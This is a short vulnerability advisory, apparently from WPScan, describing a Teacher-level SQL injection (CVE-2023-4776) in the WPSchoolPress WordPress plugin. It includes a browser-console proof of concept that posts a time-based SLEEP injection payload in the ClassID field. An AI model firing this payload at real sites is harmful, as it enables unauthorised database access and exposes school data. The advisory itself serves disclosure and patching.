WPSchoolPress < 2.2.5 – Teacher+ SQLi | CVE 2023-4776

Description

The plugin uses the WordPress esc_sql() function on a field not delimited by quotes and did not first prepare the query, leading to a SQL injection exploitable by relatively low-privilege users like Teachers.

Proof of Concept

1. Install the WPSchoolpress plugin and Import Demo Data.
2. Log in as a teacher
3. Paste the following script in the browser's console, and notice it hangs for a couple seconds, indicating the attack succeeded:
```
await fetch("http://wpscan-vulnerability-test-bench.ddev.site/wp-admin/admin.php?page=sch-student", {
    "credentials": "include",
    "headers": {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-CA,en-US;q=0.7,en;q=0.3",
        "Content-Type": "application/x-www-form-urlencoded",
        "Upgrade-Insecure-Requests": "1"
    },
    "referrer": "http://wpscan-vulnerability-test-bench.ddev.site/wp-admin/admin.php?page=sch-student",
    "body": "ClassID=ClassID=0+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))abc)",
    "method": "POST",
    "mode": "cors"
});
```